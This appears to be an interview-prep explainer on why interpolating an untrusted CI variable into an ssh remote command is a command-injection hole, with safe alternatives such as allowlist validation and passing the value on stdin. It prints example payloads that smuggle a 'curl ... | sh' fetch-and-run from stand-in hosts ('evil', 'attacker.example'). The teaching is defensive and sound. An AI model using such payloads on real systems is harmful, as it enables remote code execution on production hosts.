A deploy script runs `ssh "$host" "rm -rf /srv/app/$release"` where $release comes from a CI variable. The local quoting looks right, so why is this still a command-injection hole, and how do you pass an untrusted value to a remote command safely?
answer
- ssh carries a string, not an argv
- the remote login shell parses again
- local quotes die locally
- send the value as data, not as text
- escaping needs the far shell's grammar
basics
~20 sssh does not send an argument vector; it joins its command arguments into one string that the remote login shell parses again. Local quotes only govern the local parse, so metacharacters in the value become remote syntax. Validate the value, or pass it on stdin.
solid answer
~60 sThere are two parsers here, not one. The local double quotes stop the *local* shell splitting the string, and then ssh concatenates its non-option arguments with spaces and hands that single string to the remote user's login shell to parse from scratch. A release value of `v1; curl -s http://evil/x | sh` therefore runs two commands on the target host as the deploy user. This is structurally different from the usual "pass an argv instead of a string" advice, because the ssh protocol has no argv channel — a string is all it can carry. So the defences are: validate the value against a strict allowlist pattern before it goes anywhere, keep it out of the command text entirely by sending it on ssh's stdin and reading it into a variable remotely, or quote it explicitly for the remote grammar with `printf '%q'` (bash 4.4 also has `${release@Q}`), accepting that the quoting only matches if the remote shell is bash. And guard the empty case with `${release:?}` so `rm -rf` never sees a bare directory prefix.
code
bash · 12 lines#!/usr/bin/env bash
set -euo pipefail
release=${1:?release id required}
case $release in
*[!A-Za-z0-9._-]*)
echo "invalid release id" >&2; exit 2 ;;
esac
# the value travels as data; the remote command string is a constant
printf '%s\n' "$release" |
ssh deploy@host 'IFS= read -r release; rm -rf -- "/srv/app/${release:?}"'go deeper
Know that ssh sends the command as one string which the remote shell parses, so a value pasted into it can add extra commands. The safe habit is to check the value against an expected pattern before using it.
Trace both parses out loud: local expansion and quoting first, then the remote login shell parsing the joined string. Show a concrete injected payload and give at least one structural fix rather than escaping.
Explain why the usual argv remedy is unavailable on a string channel, rank the defences, and name the caveat that printf %q quotes for bash specifically. Include the empty-variable hazard in a destructive rm and how to fail closed on it.
Own the pattern across the fleet: forbid interpolated remote command strings in deploy tooling, prefer a data channel or an agent that takes structured parameters, and reason about blast radius — which key, which account, and what agent forwarding turns one injected command into.
## Two parsers, one string When you run: ```bash ssh "$host" "rm -rf /srv/app/$release" ``` the local shell parses the line, expands `$release`, and passes ssh exactly two arguments: the host, and one command string. ssh then joins its remaining arguments with single spaces and sends that text to the server, which runs it through the target user's login shell — effectively `$SHELL -c '<the text>'`. So the value is parsed twice: once locally, where your quotes apply, and once remotely, where they do not exist any more because the local shell consumed them. With `release='v1; curl -s http://attacker.example/x | sh'` the remote shell sees: ``` rm -rf /srv/app/v1; curl -s http://attacker.example/x | sh ``` Two commands, running with the deploy account's identity, its agent-forwarded keys if you enabled forwarding, and its access to the production host. ## Why the standard advice does not directly apply The general remedy for command injection is to pass an argument vector rather than a command string, so the operating system never re-parses the data. That option does not exist over ssh: the protocol's exec request carries a **command string**, and even `ssh host cmd arg1 arg2` is just sugar for joining those words with spaces. The same is true of `su -c`, `sudo sh -c`, `docker exec ... sh -c` and any scheduler that stores a command line. Recognising "this channel is a string channel" is the senior-level insight. ## Three defences, strongest first **1. Validate before it travels.** A release identifier has a known shape. Reject everything else, positively: ```bash case $release in ''|*[!A-Za-z0-9._-]*) echo "invalid release id: $release" >&2; exit 2 ;; esac ``` This is the strongest control because it removes the metacharacters from the universe of possible values rather than trying to neutralise them in transit. It works only when the value has a constrained shape — which release ids, tags and hostnames do, and free text does not. **2. Keep the value out of the command text.** Send it as data over ssh's standard input and read it on the far side: ```bash printf '%s\n' "$release" | ssh deploy@host 'IFS= read -r release; rm -rf -- "/srv/app/${release:?}"' ``` The command string is a fixed single-quoted literal that contains no interpolation at all, so nothing an attacker supplies can become remote syntax. The remote shell parses only text you wrote. Note that stdin is now consumed by the remote command, which matters if the script's own stdin was carrying something else — and that a loop calling ssh should pass `-n` to stop ssh eating the loop's input. **3. Quote explicitly for the remote grammar.** When interpolation is unavoidable, quote the value for the shell that will parse it: ```bash ssh "$host" "rm -rf -- /srv/app/$(printf '%q' "$release")" ``` `printf '%q'` emits the value in a form bash can re-read as one word; bash 4.4 and later also offer `${release@Q}`. The caveat is real: the output is quoted **for bash**, so if the remote login shell is dash, ksh or a restricted shell, the escaping may not round-trip identically. Treat this as the weakest of the three and never as the only control. ## The neighbouring hazard: an empty value `rm -rf /srv/app/$release` with `release` unset expands to `rm -rf /srv/app/` — a working command that deletes the whole application directory. `set -u` catches an unset variable but not an empty one, so use `${release:?release id required}`, which aborts on unset *or* empty. Any destructive command built from a variable deserves that treatment; the wider discipline of strict mode and failing early belongs to its own topic, but this one instance is part of handling untrusted input. ## What to say about scope Be explicit that ssh is one instance of a general pattern: *a string channel that ends at a parser you do not control*. The checklist is the same wherever it appears — constrain the value's shape, prefer a data channel over the command text, and treat escaping as a last resort whose correctness depends on knowing the exact grammar at the far end.
- Would wrapping the value in single quotes on the local command line fix it?No. Local single quotes are consumed by the local parse, so ssh still sends the raw value. Even quoting it for the *remote* parse by hand — writing `ssh host "rm -rf '/srv/app/$release'"` — fails the moment the value contains a single quote, which closes the quote and reopens the injection. Use a validated shape, a stdin data channel, or printf %q.
- What breaks when you call ssh inside a while-read loop, and how do you fix it?ssh inherits the loop's stdin and consumes it, so the loop reads one line and exits. Pass `ssh -n`, which redirects ssh's stdin from /dev/null. If you are also using stdin as your data channel to the remote command, restructure so the loop reads from a different descriptor instead — for example redirecting the loop's input from a file on descriptor 3 and reading with `read -u 3`.
- Does forcing a specific remote command with an authorized_keys restriction solve this?It bounds it usefully but does not remove the injection. A `command="..."` restriction in authorized_keys makes the server run your fixed command instead of the client's, and the client's requested command is exposed in SSH_ORIGINAL_COMMAND. If your forced wrapper then parses or evals that string, you are back where you started — the wrapper must validate it. Combined with no-agent-forwarding and no-pty, it is a strong blast-radius control.
saying these in an interview costs you the question
- The double quotes already protect the value
- Single quotes around the value would fix it
- ssh runs the command directly, without a shell
- Escaping semicolons is enough for a remote command
- An empty release id is harmless because set -u catches it